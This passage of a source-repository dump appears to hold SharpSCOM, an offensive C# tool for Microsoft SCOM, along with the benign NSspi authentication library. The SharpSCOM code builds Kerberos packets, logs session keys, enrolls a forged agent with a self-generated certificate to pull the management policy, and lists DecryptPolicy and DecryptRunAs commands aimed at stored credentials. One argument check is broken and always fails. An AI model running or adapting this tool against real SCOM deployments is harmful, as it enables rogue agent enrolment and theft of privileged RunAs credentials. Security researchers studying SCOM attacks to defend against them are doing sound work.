0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00 }; 15 | byte[] scom_ap_req_2_header = { 0x04, 0xe4, 0xf4, 0x9f }; //static value 16 | 17 | // Calculate first size value 18 | byte[] scom_sspi_bytes_1_size = BitConverter.GetBytes(clientToken.Length + 8); 19 | //Console.WriteLine($"[REMOTE CLIENT]: scom_sspi_bytes_1: {BitConverter.ToString(scom_sspi_bytes_1_size)}"); 20 | //Console.WriteLine($"[REMOTE CLIENT]: scom_sspi_bytes_1: {clientToken.Length + 8}"); 21 | 22 | // Calculate second size value 23 | byte[] scom_sspi_bytes_2_size = BitConverter.GetBytes(clientToken.Length); 24 | //Console.WriteLine($"[REMOTE CLIENT]: scom_sspi_bytes_2: {BitConverter.ToString(scom_sspi_bytes_2_size)}"); 25 | //Console.WriteLine($"[REMOTE CLIENT]: scom_sspi_bytes_2: {clientToken.Length}"); 26 | 27 | // Create packet 28 | byte[] combinedArray = scom_ap_req_1_header.Concat(scom_sspi_bytes_1_size) 29 | .Concat(scom_ap_req_2_header) 30 | .Concat(scom_sspi_bytes_2_size) 31 | .Concat(clientToken) 32 | .ToArray(); 33 | 34 | //Console.WriteLine($"[REMOTE CLIENT]: scom_payload: {BitConverter.ToString(combinedArray)}"); 35 | 36 | return combinedArray; 37 | } 38 | 39 | public static byte[] GenerateApRep(byte[] clientToken) 40 | { 41 | // SCOM headers 42 | byte[] scom_ap_rep_1_header = { 0x7e, 0x4d, 0x4f, 0x4d, 0x07, 0x00, 0x01, 0x71, 0x00, 0x00, 0x00, 0x00, 0x04, 0xe4, 0xf4, 0x9f }; //static value 43 | 44 | // Calculate size value 45 | byte[] scom_sspi_bytes_size = BitConverter.GetBytes(clientToken.Length); 46 | //Console.WriteLine($"SERVER DEBUG MESSAGE 1: scom_sspi_bytes_size: {BitConverter.ToString(scom_sspi_bytes_size)}"); 47 | 48 | // Create packet 49 | byte[] combinedArray = scom_ap_rep_1_header.Concat(scom_sspi_bytes_size) 50 | .Concat(clientToken) 51 | .ToArray(); 52 | 53 | //Console.WriteLine($"CLIENT DEBUG MESSAGE 1: scom_payload: {BitConverter.ToString(combinedArray)}"); 54 | 55 | return combinedArray; 56 | } 57 | } 58 | } 59 | -------------------------------------------------------------------------------- /SharpSCOM/Auth/ClientContextManager.cs: -------------------------------------------------------------------------------- 1 | using SharpSCOM.Agent; 2 | using SharpSCOM.Message; 3 | using System; 4 | using System.Collections.Generic; 5 | using System.Linq; 6 | using System.Net.Sockets; 7 | using System.Text; 8 | using System.Threading.Tasks; 9 | using NSspi; 10 | using NSspi.Contexts; 11 | using NSspi.Credentials; 12 | using SharpSCOM.Common; 13 | 14 | namespace SharpSCOM.Auth 15 | { 16 | class ClientContextManager 17 | { 18 | private static ILogger logger => LoggerFactory.Logger; 19 | private readonly ClientCurrentCredential _credential; 20 | private ClientContext _context; 21 | 22 | public ClientContextManager() 23 | { 24 | _credential = new ClientCurrentCredential(PackageNames.Kerberos); 25 | } 26 | 27 | public ClientContext CreateContext(string remoteServer) 28 | { 29 | _context = new ClientContext( 30 | _credential, 31 | $"{Constants.KERBEROS_SPN}/{remoteServer}", 32 | ContextAttrib.MutualAuth | 33 | ContextAttrib.InitIdentify | 34 | ContextAttrib.Confidentiality | 35 | ContextAttrib.ReplayDetect | 36 | ContextAttrib.SequenceDetect | 37 | ContextAttrib.Connection | 38 | ContextAttrib.Delegate 39 | ); 40 | 41 | return _context; 42 | } 43 | 44 | public ClientContext ProcessInitialRequest(NetworkStream stream, string remoteServer) 45 | { 46 | byte[] clientToken; 47 | SecurityStatus status = _context.Init(null, out clientToken); 48 | 49 | byte[] apReq = KerberosMessageGenerator.GenerateApReq(clientToken); 50 | stream.Write(apReq, 0, apReq.Length); 51 | stream.Flush(); 52 | 53 | byte[] serverToken = KerberosMessageParser.ParseApRep(stream); 54 | 55 | while (true) 56 | { 57 | status = _context.Init(serverToken, out clientToken); 58 | if (status != SecurityStatus.ContinueNeeded) break; 59 | } 60 | 61 | logger.Info("Authentication successful!"); 62 | logger.Info($"Client authority: {_context.AuthorityName}"); 63 | logger.Info($"Client context user: {_context.ContextUserName}"); 64 | logger.Info($"Client session key: {BitConverter.ToString(_context.QuerySessionKey())}"); 65 | 66 | return _context; 67 | } 68 | 69 | public byte[] EncryptWrapToken(byte[] plaintext) 70 | { 71 | byte[] ciphertext = KerberosMessageParser.SwapBytes(_context.Encrypt(plaintext)); 72 | 73 | logger.Info($"[AGENT >>>>>> SCOM] [ENCRYPT] plaintext wrap token (base64): {Convert.ToBase64String(plaintext)}"); 74 | logger.Info($"[AGENT >>>>>> SCOM] [ENCRYPT] zlib decompressed wrap token (base64): {Convert.ToBase64String(KerberosMessageParser.ParseDecWrapToken(plaintext))}"); 75 | 76 | return ciphertext; 77 | 78 | } 79 | 80 | public byte[] DecryptWrapToken(NetworkStream stream) 81 | { 82 | byte[] wrapToken = KerberosMessageParser.ParseKerbWrapToken(stream); 83 | byte[] plaintext = _context.Decrypt(KerberosMessageParser.SwapBytes(wrapToken)); 84 | 85 | try 86 | { 87 | logger.Info($"[AGENT <<<<<<<<< SCOM] [DECRYPT] plaintext wrap token (base64): {Convert.ToBase64String(plaintext)}"); 88 | logger.Info($"[AGENT <<<<<<<<< SCOM] [DECRYPT] zlib decompressed wrap token (base64): {Convert.ToBase64String(KerberosMessageParser.ParseDecWrapToken(plaintext))}"); 89 | 90 | logger.Debug($"[SERVER <<<<<<<<< SCOM] [DECRYPT] decompressed kerb wrap token zlib: {BitConverter.ToString(KerberosMessageParser.ParseDecWrapToken(plaintext))}"); 91 | logger.Debug($"[SERVER <<<<<<<<< SCOM] [DECRYPT] decompressed kerb wrap token zlib unicode: {Encoding.Unicode.GetString(KerberosMessageParser.ParseDecWrapToken(plaintext))}"); 92 | } 93 | catch (Exception e) 94 | { 95 | logger.Error($"[DECRYPT] Could not decompress: {e.Message}"); 96 | } 97 | 98 | return plaintext; 99 | } 100 | } 101 | } 102 | -------------------------------------------------------------------------------- /SharpSCOM/SharpSCOM.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {4DEF17F6-D348-4A1C-8B36-8CFEC6FA2449} 8 | Exe 9 | SharpSCOM 10 | SharpSCOM 11 | v4.7.2 12 | 512 13 | true 14 | true 15 | true 16 | 17 | 18 | AnyCPU 19 | true 20 | full 21 | false 22 | bin\Debug\ 23 | DEBUG;TRACE 24 | prompt 25 | 4 26 | 27 | 28 | AnyCPU 29 | pdbonly 30 | true 31 | bin\Release\ 32 | TRACE 33 | prompt 34 | 4 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | {ce4eeaac-be2e-556f-4f32-f2fe552817cf} 87 | NSspi 88 | 89 | 90 | 91 | -------------------------------------------------------------------------------- /SCOMClient/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.IO; 4 | using System.IO.Pipes; 5 | using System.Linq; 6 | using System.Net.Sockets; 7 | using System.Text; 8 | using System.Threading.Tasks; 9 | using NSspi; 10 | using NSspi.Contexts; 11 | using NSspi.Credentials; 12 | 13 | namespace SCOMClient 14 | { 15 | class Program 16 | { 17 | private static bool ValidateClientArgs(string[] args, out string remoteServer, out int remotePort, out string mode) 18 | { 19 | remoteServer = null; 20 | remotePort = 0; 21 | mode = ""; 22 | 23 | if (args.Length != 2) 24 | return false; 25 | 26 | remoteServer = args[0]; 27 | 28 | if (!int.TryParse(args[1], out remotePort) || remotePort < 1 || remotePort > 65535) 29 | return false; 30 | 31 | mode = args[2]; 32 | 33 | return true; 34 | } 35 | 36 | static void Main(string[] args) 37 | { 38 | if (!ValidateClientArgs(args, out string remoteServer, out int remotePort, out string mode)) 39 | { 40 | Console.WriteLine("[!] Usage: SCOMClient "); 41 | return; 42 | } 43 | 44 | Console.WriteLine($"[+] Connecting to remote host {remoteServer} on port {remotePort}"); 45 | 46 | var clientManager = new ClientContextManager(); 47 | 48 | while (true) // Main loop to accept new clients 49 | { 50 | // Client-side initial authentication 51 | using (TcpClient remoteClient = new TcpClient(remoteServer, remotePort)) 52 | using (NetworkStream remoteStream = remoteClient.GetStream()) 53 | { 54 | ClientContext clientContext = clientManager.CreateContext(remoteServer); 55 | clientContext = clientManager.ProcessInitialRequest(remoteStream, remoteServer); 56 | 57 | while (remoteClient.Connected) 58 | { 59 | try 60 | { 61 | int bufSize = 20000; 62 | Stream inStream = Console.OpenStandardInput(bufSize); 63 | Console.SetIn(new StreamReader(inStream, Console.InputEncoding, false, bufSize)); 64 | 65 | byte[] clientPlaintext = null; 66 | 67 | if (mode == "zlib") 68 | { 69 | Console.WriteLine("[+] Waiting for zlib base64-encoded client data:"); 70 | string base64Input = Console.ReadLine(); 71 | clientPlaintext = Convert.FromBase64String(base64Input.Trim()); 72 | 73 | } 74 | else 75 | { 76 | Console.WriteLine("[+] Waiting for plaintext base64-encoded client data:"); 77 | string base64Input = Console.ReadLine(); 78 | clientPlaintext = Convert.FromBase64String(base64Input.Trim()); 79 | Console.WriteLine($"[+] Got input data as: {BitConverter.ToString(clientPlaintext)}"); 80 | } 81 | 82 | // client -> remote server (re-encrypt client data and send to remote server) 83 | byte[] swappedCipher = clientManager.EncryptWrapToken(clientPlaintext); 84 | remoteStream.Write(swappedCipher, 0, swappedCipher.Length); 85 | remoteStream.Flush(); 86 | 87 | // client <- remote server 88 | byte[] responseMessage = clientManager.DecryptWrapToken(remoteStream); 89 | if (responseMessage == null) break; 90 | 91 | } 92 | catch (Exception e) 93 | { 94 | Console.WriteLine($"[!] ERROR in message forwarding: {e.Message}"); 95 | break; 96 | } 97 | } 98 | } 99 | Console.WriteLine("\t[SERVER]: Client connection closed"); 100 | } 101 | } 102 | } 103 | } 104 | -------------------------------------------------------------------------------- /SharpSCOM/Commands/AutoEnrol.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Threading; 3 | using SharpSCOM.Agent; 4 | using SharpSCOM.Certificate; 5 | using SharpSCOM.Cmdline; 6 | using SharpSCOM.Common; 7 | using SharpSCOM.Auth; 8 | using System.Linq; 9 | 10 | namespace SharpSCOM.Commands 11 | { 12 | public class AutoEnrol : BaseCommand 13 | { 14 | public static string CommandName => "AutoEnrol"; 15 | 16 | public override void Execute(Options.Arguments arguments) 17 | { 18 | logger.Info("Preparing to send multi-part agent message..."); 19 | 20 | using (var scomClient = new SSPIMessageGenerator(arguments.Server, arguments.Port)) 21 | { 22 | // Connect and authenticate 23 | if (!scomClient.Connect()) 24 | { 25 | logger.Error("Failed to connect to server"); 26 | return; 27 | } 28 | 29 | var multi = new MultiMessageGenerator(arguments.Hostname, arguments.ManagementGroup); 30 | var single = new MessageGenerator(arguments.Hostname, arguments.ManagementGroup); 31 | 32 | // Step 1: Generate agent registration payload 33 | logger.Info("Generating agent registration message"); 34 | byte[] agent = multi.GenerateAgentRegisterPayload(1); 35 | 36 | // Step 2: Generate certificate 37 | logger.Info("Generating agent certificate message"); 38 | var generator = new AgentCertificateGenerator(arguments.Hostname); 39 | generator.PrintDetails(); 40 | 41 | byte[] cert = multi.GenerateCertificatePayload(generator.MultiPartSerializedCertificate, 1); 42 | 43 | // Step 3: Generate policy request 44 | logger.Info("Generating agent policy request"); 45 | byte[] policy = multi.GeneratePolicyRequestPayload(1); 46 | 47 | // Combine all messages 48 | byte[] innerPayload = agent.Concat(cert).Concat(policy).ToArray(); 49 | 50 | // Add SCOM headers 51 | byte[] innerPayload_with_header = multi.TopGenerateMOMInnerHeader(innerPayload, 1, multi.agentRegisterCommand); 52 | byte[] outerPayload = multi.GenerateMOMOuterHeader(innerPayload_with_header); 53 | 54 | // Send combined request 55 | logger.Info("Sending multi-part agent message..."); 56 | byte[] response = scomClient.SendMessage(outerPayload); 57 | 58 | if (response != null) 59 | { 60 | logger.Info("Server registration response received"); 61 | } 62 | else 63 | { 64 | logger.Error("No response from server"); 65 | return; 66 | } 67 | 68 | byte[] zlib_response = KerberosMessageParser.ParseDecWrapToken(response); 69 | 70 | // Download policy 71 | logger.Info("Generating policy download message"); 72 | byte[] downloadPayload = single.GeneratePolicyDownloadPayload(zlib_response, 2); 73 | response = scomClient.SendMessage(downloadPayload); 74 | 75 | // Check if we got the policy 76 | if (response != null && response.Length > 500) 77 | { 78 | logger.Info("Policy file received from server"); 79 | } 80 | else 81 | { 82 | logger.Info("Policy XML not ready, waiting 120 seconds..."); 83 | Thread.Sleep(TimeSpan.FromSeconds(120)); 84 | 85 | zlib_response = KerberosMessageParser.ParseDecWrapToken(response); 86 | logger.Info("Generating policy download message"); 87 | downloadPayload = single.GeneratePolicyDownloadPayload(zlib_response, 3); 88 | response = scomClient.SendMessage(downloadPayload); 89 | } 90 | 91 | byte[] policy_response = KerberosMessageParser.ParseDecWrapToken(response); 92 | 93 | if (!string.IsNullOrEmpty(arguments.Outfile)) 94 | { 95 | DataHandler.WritePolicyToDisk(policy_response, arguments.Outfile); 96 | } 97 | else 98 | { 99 | logger.Info($"Policy received: {policy_response.Length} bytes"); 100 | } 101 | 102 | logger.Info("Completed"); 103 | } 104 | } 105 | } 106 | } -------------------------------------------------------------------------------- /SharpSCOM/Commands/AutoEnroll.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Threading; 3 | using SharpSCOM.Agent; 4 | using SharpSCOM.Certificate; 5 | using SharpSCOM.Cmdline; 6 | using SharpSCOM.Common; 7 | using SharpSCOM.Auth; 8 | using System.Linq; 9 | 10 | namespace SharpSCOM.Commands 11 | { 12 | public class AutoEnroll : BaseCommand 13 | { 14 | public static string CommandName => "AutoEnroll"; 15 | 16 | public override void Execute(Options.Arguments arguments) 17 | { 18 | logger.Info("Preparing to send multi-part agent message..."); 19 | 20 | using (var scomClient = new SSPIMessageGenerator(arguments.Server, arguments.Port)) 21 | { 22 | // Connect and authenticate 23 | if (!scomClient.Connect()) 24 | { 25 | logger.Error("Failed to connect to server"); 26 | return; 27 | } 28 | 29 | var multi = new MultiMessageGenerator(arguments.Hostname, arguments.ManagementGroup); 30 | var single = new MessageGenerator(arguments.Hostname, arguments.ManagementGroup); 31 | 32 | // Step 1: Generate agent registration payload 33 | logger.Info("Generating agent registration message"); 34 | byte[] agent = multi.GenerateAgentRegisterPayload(1); 35 | 36 | // Step 2: Generate certificate 37 | logger.Info("Generating agent certificate message"); 38 | var generator = new AgentCertificateGenerator(arguments.Hostname); 39 | generator.PrintDetails(); 40 | 41 | byte[] cert = multi.GenerateCertificatePayload(generator.MultiPartSerializedCertificate, 1); 42 | 43 | // Step 3: Generate policy request 44 | logger.Info("Generating agent policy request"); 45 | byte[] policy = multi.GeneratePolicyRequestPayload(1); 46 | 47 | // Combine all messages 48 | byte[] innerPayload = agent.Concat(cert).Concat(policy).ToArray(); 49 | 50 | // Add SCOM headers 51 | byte[] innerPayload_with_header = multi.TopGenerateMOMInnerHeader(innerPayload, 1, multi.agentRegisterCommand); 52 | byte[] outerPayload = multi.GenerateMOMOuterHeader(innerPayload_with_header); 53 | 54 | // Send combined request 55 | logger.Info("Sending multi-part agent message..."); 56 | byte[] response = scomClient.SendMessage(outerPayload); 57 | 58 | if (response != null) 59 | { 60 | logger.Info("Server registration response received"); 61 | } 62 | else 63 | { 64 | logger.Error("No response from server"); 65 | return; 66 | } 67 | 68 | byte[] zlib_response = KerberosMessageParser.ParseDecWrapToken(response); 69 | 70 | // Download policy 71 | logger.Info("Generating policy download message"); 72 | byte[] downloadPayload = single.GeneratePolicyDownloadPayload(zlib_response, 2); 73 | response = scomClient.SendMessage(downloadPayload); 74 | 75 | // Check if we got the policy 76 | if (response != null && response.Length > 500) 77 | { 78 | logger.Info("Policy file received from server"); 79 | } 80 | else 81 | { 82 | logger.Info("Policy XML not ready, waiting 120 seconds..."); 83 | Thread.Sleep(TimeSpan.FromSeconds(120)); 84 | 85 | zlib_response = KerberosMessageParser.ParseDecWrapToken(response); 86 | logger.Info("Generating policy download message"); 87 | downloadPayload = single.GeneratePolicyDownloadPayload(zlib_response, 3); 88 | response = scomClient.SendMessage(downloadPayload); 89 | } 90 | 91 | byte[] policy_response = KerberosMessageParser.ParseDecWrapToken(response); 92 | 93 | if (!string.IsNullOrEmpty(arguments.Outfile)) 94 | { 95 | DataHandler.WritePolicyToDisk(policy_response, arguments.Outfile); 96 | } 97 | else 98 | { 99 | logger.Info($"Policy received: {policy_response.Length} bytes"); 100 | } 101 | 102 | logger.Info("Completed"); 103 | } 104 | } 105 | } 106 | } -------------------------------------------------------------------------------- /nsspi/NSspi/PackageSupport.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | namespace NSspi 6 | { 7 | /// 8 | /// Queries information about security packages. 9 | /// 10 | public static class PackageSupport 11 | { 12 | /// 13 | /// Returns the properties of the named package. 14 | /// 15 | /// The name of the package. 16 | /// 17 | public static SecPkgInfo GetPackageCapabilities( string packageName ) 18 | { 19 | SecPkgInfo info; 20 | SecurityStatus status = SecurityStatus.InternalError; 21 | 22 | IntPtr rawInfoPtr; 23 | 24 | rawInfoPtr = new IntPtr(); 25 | info = new SecPkgInfo(); 26 | 27 | RuntimeHelpers.PrepareConstrainedRegions(); 28 | try 29 | { } 30 | finally 31 | { 32 | status = NativeMethods.QuerySecurityPackageInfo( packageName, ref rawInfoPtr ); 33 | 34 | if( rawInfoPtr != IntPtr.Zero ) 35 | { 36 | try 37 | { 38 | if( status == SecurityStatus.OK ) 39 | { 40 | // This performs allocations as it makes room for the strings contained in the SecPkgInfo class. 41 | Marshal.PtrToStructure( rawInfoPtr, info ); 42 | } 43 | } 44 | finally 45 | { 46 | NativeMethods.FreeContextBuffer( rawInfoPtr ); 47 | } 48 | } 49 | } 50 | 51 | if( status != SecurityStatus.OK ) 52 | { 53 | throw new SSPIException( "Failed to query security package provider details", status ); 54 | } 55 | 56 | return info; 57 | } 58 | 59 | /// 60 | /// Returns a list of all known security package providers and their properties. 61 | /// 62 | /// 63 | public static SecPkgInfo[] EnumeratePackages() 64 | { 65 | SecurityStatus status = SecurityStatus.InternalError; 66 | SecPkgInfo[] packages = null; 67 | IntPtr pkgArrayPtr; 68 | IntPtr pkgPtr; 69 | int numPackages = 0; 70 | int pkgSize = Marshal.SizeOf( typeof( SecPkgInfo ) ); 71 | 72 | pkgArrayPtr = new IntPtr(); 73 | 74 | RuntimeHelpers.PrepareConstrainedRegions(); 75 | try { } 76 | finally 77 | { 78 | status = NativeMethods.EnumerateSecurityPackages( ref numPackages, ref pkgArrayPtr ); 79 | 80 | if( pkgArrayPtr != IntPtr.Zero ) 81 | { 82 | try 83 | { 84 | if( status == SecurityStatus.OK ) 85 | { 86 | // Bwooop Bwooop Alocation Alert 87 | // 1) We allocate the array 88 | // 2) We allocate the individual elements in the array (they're class objects). 89 | // 3) We allocate the strings in the individual elements in the array when we 90 | // call Marshal.PtrToStructure() 91 | 92 | packages = new SecPkgInfo[numPackages]; 93 | 94 | for( int i = 0; i < numPackages; i++ ) 95 | { 96 | packages[i] = new SecPkgInfo(); 97 | } 98 | 99 | for( int i = 0; i < numPackages; i++ ) 100 | { 101 | pkgPtr = IntPtr.Add( pkgArrayPtr, i * pkgSize ); 102 | 103 | Marshal.PtrToStructure( pkgPtr, packages[i] ); 104 | } 105 | } 106 | } 107 | finally 108 | { 109 | NativeMethods.FreeContextBuffer( pkgArrayPtr ); 110 | } 111 | } 112 | } 113 | 114 | if( status != SecurityStatus.OK ) 115 | { 116 | throw new SSPIException( "Failed to enumerate security package providers", status ); 117 | } 118 | 119 | return packages; 120 | } 121 | } 122 | } -------------------------------------------------------------------------------- /nsspi/readme.md: -------------------------------------------------------------------------------- 1 | ## Downloads ## 2 | 3 | The latest release of NSspi is v0.3.1, released 5-Aug-2019. 4 | 5 | Version 0.3.1 adds support to obtain an IIdentity/WindowsPrinciple representing the remote connection. This is useful for servers that wish to query the properties on the principle, such as claims. 6 | 7 | * [Source](https://github.com/antiduh/nsspi/archive/0.3.1.zip) 8 | * [Nuget package](https://www.nuget.org/packages/NSspi) 9 | 10 | You can also browse the list of [releases](https://github.com/antiduh/nsspi/releases). 11 | 12 | 13 | 14 | ## Introduction ## 15 | This project provides a C# / .Net interface to the Windows Integrated Authentication API, better known as SSPI (Security Service Provider Interface). This allows a custom client / server system to authenticate users using their existing logon credentials. This allows a developer to provide Single-Sign-On in their application. 16 | 17 | ## Overview ## 18 | The API provides raw access to authentication tokens so that authentication can be easily integrated into any networking system - you can send the tokens over a socket, a remoting interface, or heck even a serial port if you want; they're just bytes. Clients and servers may exchange encrypted and signed messages, and the server can perform client impersonation. 19 | 20 | The project is provided as a .Net 4.0 assembly, but can just as easily be upgraded to .Net 4.5 or later. The solution file can be opened by Visual Studio 2010 SP1, Visual Studio 2012, or later Visual Studio editions. 21 | 22 | The SSPI API provides an interface for real authentication protocols, such as Kerberos or NTLM, to be invoked transparently by client and server code in order to perform authentication and message manipulation. These authentication protocols are better known as 'security packages'. 23 | 24 | The SSPI API exposes these packages using a common API, and so a program may invoke one or the other with only minor changes in implementation. SSPI also supports the 'negotiate' 'meta' package, that allows a client and server to decide dynamically which real security provider to use, and then itself provides a passthrough interface to the real package. 25 | 26 | ## Usage ## 27 | 28 | Typically, a client acquires some form of a credential, either from the currently logged on user's security context, by acquiring a username and password from the user, or by some other means. The server acquires a credential in a similar manner. Each uses their credentials to identify themselves to each other. 29 | 30 | A client and a server each start with uninitialized security contexts. They exchange negotiation and authentication tokens to perform authentication, and if all succeeds, they create a shared security context in the form of a client's context and a server's context. The effectively shared context agrees on the security package to use (kerberos, NTLM), and what parameters to use for message passing. Every new client that authenticates with a server creates a new security context specific to that client-server pairing. 31 | 32 | From the software perspective, a client security context initializes itself by exchanging authentication tokens with a server; the server initializes itself by exchanging authentication tokens with the client. 33 | 34 | This API provides raw access to the authentication tokens created during the negotiation and authentication process. In this manner, any application can integrate SSPI-based authentication by deciding for themselves how to integrate the tokens into their application protocol. 35 | 36 | The project is broken up into 3 chunks: 37 | 38 | * The NSspi library, which provides safe, managed access to the SSPI API. 39 | * NsspiDemo, a quick demo program to show how to exercise the features of NSspi locally. 40 | * UI demo programs TestClient and TestServer (that have a common dependency on TestProtocol) that 41 | may be run on separate machines, that show how one might integrate SSPI into a custom 42 | application. 43 | 44 | ## More information ## 45 | 46 | If you would like to understand the SSPI API, feel free to browse the following references: 47 | 48 | MSDN documentation on the SSPI API:
49 |       [http://msdn.microsoft.com/en-us/library/windows/desktop/aa374731(v=vs.85).aspx](http://msdn.microsoft.com/en-us/library/windows/desktop/aa374731\(v=vs.85\).aspx) 50 | 51 | MSDN article on SSPI along with a sample Managed C++ SSPI library and UI client/servers.
52 |       [http://msdn.microsoft.com/en-us/library/ms973911.aspx](http://msdn.microsoft.com/en-us/library/ms973911.aspx) 53 | 54 | Relevant StackOverflow questions: 55 | 56 | * [Client-server authentication - using SSPI?](http://stackoverflow.com/questions/17241365/) 57 | * [Validate Windows Identity Token](http://stackoverflow.com/questions/11238141/) 58 | * [How to deal with allocations in constrained execution regions?](http://stackoverflow.com/questions/24442209/) 59 | * [AcquireCredentialsHandle returns massive expiration time](http://stackoverflow.com/questions/24478056/) 60 | -------------------------------------------------------------------------------- /SharpSCOM/Cmdline/Options.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | 7 | namespace SharpSCOM.Cmdline 8 | { 9 | public class Options 10 | { 11 | public class Arguments 12 | { 13 | public bool Help = false; 14 | public bool Verbose { get; set; } = false; 15 | public string Hostname { get; set; } = string.Empty; 16 | public string ManagementGroup { get; set; } = string.Empty; 17 | public string Server { get; set; } = string.Empty; 18 | public int Port { get; set; } = 5723; 19 | public string Data { get; set; } = string.Empty; 20 | public string Machine { get; set; } = string.Empty; 21 | public string Type { get; set; } = string.Empty; 22 | public string Outfile { get; set; } = string.Empty; 23 | public string Key { get; set; } = string.Empty; 24 | } 25 | 26 | // Define required arguments for each command 27 | private static readonly Dictionary requiredArgsByCommand = new Dictionary(StringComparer.OrdinalIgnoreCase) 28 | { 29 | { "RegisterAgent", new[] { "/managementgroup", "/server" } }, 30 | { "RegisterCertificate", new[] { "/managementgroup", "/server" } }, 31 | { "RequestPolicy", new[] { "/managementgroup", "/server" } }, 32 | { "DownloadPolicy", new[] { "/managementgroup", "/server" } }, 33 | { "DecryptPolicy", new[] { "/data" } }, 34 | { "DecryptRunAs", new[] { "" } }, 35 | { "AutoEnroll", new[] { "/managementgroup", "/server" } }, 36 | }; 37 | 38 | public static bool ValidateRequiredArgs(string command, Dictionary parsedArgs) 39 | { 40 | // Check if the command has defined required arguments 41 | if (requiredArgsByCommand.TryGetValue(command, out var requiredArgs)) 42 | { 43 | // If no arguments are required, return true 44 | if (requiredArgs.Length == 0 || (requiredArgs.Length == 1 && string.IsNullOrEmpty(requiredArgs[0]))) 45 | { 46 | return true; 47 | } 48 | 49 | // Validate that each required argument is provided 50 | foreach (var reqArg in requiredArgs) 51 | { 52 | if (!parsedArgs.ContainsKey(reqArg)) 53 | { 54 | Console.WriteLine($"[!] Missing required argument '{reqArg}' for command '{command}'."); 55 | return false; 56 | } 57 | } 58 | } 59 | else 60 | { 61 | Console.WriteLine($"[!] Unknown command '{command}'."); 62 | return false; 63 | } 64 | return true; 65 | } 66 | 67 | 68 | public static Dictionary ParseArgs(string[] args) 69 | { 70 | var parsedArgs = new Dictionary(StringComparer.OrdinalIgnoreCase); 71 | 72 | foreach (var arg in args) 73 | { 74 | string[] parts = arg.Split(new[] { ':' }, 2); 75 | string key = parts[0].ToLower(); 76 | string value = parts.Length > 1 ? parts[1].Trim('"') : "true"; // boolean flags default to true 77 | parsedArgs[key] = value; 78 | } 79 | 80 | return parsedArgs; 81 | } 82 | 83 | public static Arguments ArgumentValues(Dictionary parsedArgs) 84 | { 85 | var arguments = new Arguments(); 86 | 87 | foreach (var kvp in parsedArgs) 88 | { 89 | switch (kvp.Key) 90 | { 91 | case "/hostname": 92 | arguments.Hostname = kvp.Value; 93 | break; 94 | case "/managementgroup": 95 | arguments.ManagementGroup = kvp.Value; 96 | break; 97 | case "/server": 98 | arguments.Server = kvp.Value; 99 | break; 100 | case "/data": 101 | arguments.Data = kvp.Value; 102 | break; 103 | case "/key": 104 | arguments.Key = kvp.Value; 105 | break; 106 | case "/outfile": 107 | arguments.Outfile = kvp.Value; 108 | break; 109 | case "/verbose": 110 | arguments.Verbose = Convert.ToBoolean(kvp.Value); 111 | break; 112 | case "/help": 113 | arguments.Help = true; 114 | Info.ShowUsage(); 115 | return null; 116 | } 117 | } 118 | return arguments; 119 | } 120 | } 121 | } 122 | -------------------------------------------------------------------------------- /nsspi/NSspi/SecPkgInfo.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | 4 | namespace NSspi 5 | { 6 | /// 7 | /// Stores information about a particular security package. 8 | /// 9 | [StructLayout( LayoutKind.Sequential )] 10 | public class SecPkgInfo 11 | { 12 | /// 13 | /// The packages capabilities and options. 14 | /// 15 | public SecPkgCapability Capabilities; 16 | 17 | /// 18 | /// The package's version number. 19 | /// 20 | public short Version; 21 | 22 | /// 23 | /// The package's Id when used in RPC contexts. 24 | /// 25 | public short RpcId; 26 | 27 | /// 28 | /// The maximum size, in bytes, of tokens generated by the package. 29 | /// 30 | public int MaxTokenLength; 31 | 32 | /// 33 | /// The human-readable name of the package. 34 | /// 35 | [MarshalAs( UnmanagedType.LPWStr )] 36 | public string Name; 37 | 38 | /// 39 | /// A short description of the package. 40 | /// 41 | [MarshalAs( UnmanagedType.LPWStr )] 42 | public string Comment; 43 | } 44 | 45 | /// 46 | /// Describes the capabilities of a security package. 47 | /// 48 | [Flags] 49 | public enum SecPkgCapability : uint 50 | { 51 | /// 52 | /// Whether the package supports generating messages with integrity information. Required for MakeSignature and VerifySignature. 53 | /// 54 | Integrity = 0x1, 55 | 56 | /// 57 